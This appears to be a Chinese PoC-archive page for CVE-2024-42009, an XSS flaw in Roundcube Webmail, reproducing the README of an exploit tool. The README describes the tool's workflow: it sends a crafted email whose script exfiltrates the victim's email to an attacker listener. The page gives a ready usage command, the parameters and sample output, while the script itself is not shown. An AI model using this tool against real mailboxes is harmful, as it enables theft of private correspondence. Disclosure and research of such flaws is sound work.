关联漏洞
标题:
Roundcube Webmail 安全漏洞
(CVE-2024-42009)
描述:Roundcube Webmail是一款基于浏览器的开源IMAP客户端,它支持地址薄管理、信息搜索、拼写检查等。 Roundcube Webmail 1.5.7及之前版本和1.6.8之前的1.6.x版本存在安全漏洞,该漏洞源于存在跨站脚本漏洞,远程攻击者可以通过精心设计的电子邮件消息窃取并发送受害者的电子邮件。
描述
This Proof of Concept (PoC) demonstrates an exploit for CVE-2024-42009, leveraging a cross-site scripting (XSS) vulnerability to extract emails from a target webmail application. The attack injects a malicious payload that exfiltrates email content to an attacker-controlled listener.
介绍
# CVE-2024-42009 PoC: Email Capture Listener & XSS Exploit
## Overview
This Proof of Concept (PoC) demonstrates an exploit for CVE-2024-42009, leveraging a cross-site scripting (XSS) vulnerability to extract emails from a target webmail application. The attack injects a malicious payload that exfiltrates email content to an attacker-controlled listener.
## Features
- Exploits an XSS vulnerability to capture email contents.
- Uses an HTTP listener to receive and decode exfiltrated emails.
- Automates payload injection and exfiltration.
## Requirements
- Python 3.x
- Required dependencies (install via pip):
```sh
pip install requests beautifulsoup4
```
## Usage
Run the script with the necessary arguments:
```sh
python exploit.py -fu attacker@example.com -tu victim@example.com -u http://target.com/contact -ip YOUR_IP -p 1337
```
### Parameters
| Argument | Description |
|----------|-------------|
| `-fu`, `--from-user` | The sender's email address |
| `-tu`, `--to-user` | The recipient's email address |
| `-u`, `--target-url` | The target webmail URL |
| `-ip`, `--server-ip` | The attacker's listener IP address |
| `-p`, `--server-port` | The port for the listener (default: 1337) |
## Attack Workflow
1. **Start Listener**: The script starts an HTTP server to capture extracted emails.
2. **Inject Malicious Payload**: The XSS payload is sent via a crafted email.
3. **Trigger Execution**: When the victim opens the email, the payload executes and sends the email content to the attacker's server.
4. **Capture & Decode**: The extracted email content is decoded and displayed.
## Example Output
```
[*] CVE-2024-42009 PoC: Listening on 192.168.1.100:1337...
[*] Sending payload for UID 1...
[+] Payload sent for UID 1 (Status: 200)
[+] Captured Email Content:
Hello, this is a test email!
```
## Disclaimer
This PoC is for educational and research purposes only. Unauthorized testing against systems without consent is illegal. Use responsibly!
文件快照
[4.0K] /data/pocs/45b11295381a0d8dc19f50f80855f309fd1eee96
├── [3.9K] exploit.py
├── [1.0K] LICENSE
└── [1.9K] README.md
0 directories, 3 files
备注
1. 建议优先通过来源进行访问。
2. 如果因为来源失效或无法访问,请发送邮箱到 f.jinxu#gmail.com 索取本地快照(把 # 换成 @)。
3. 神龙已为您对POC代码进行快照,为了长期维护,请考虑为本地POC付费,感谢您的支持。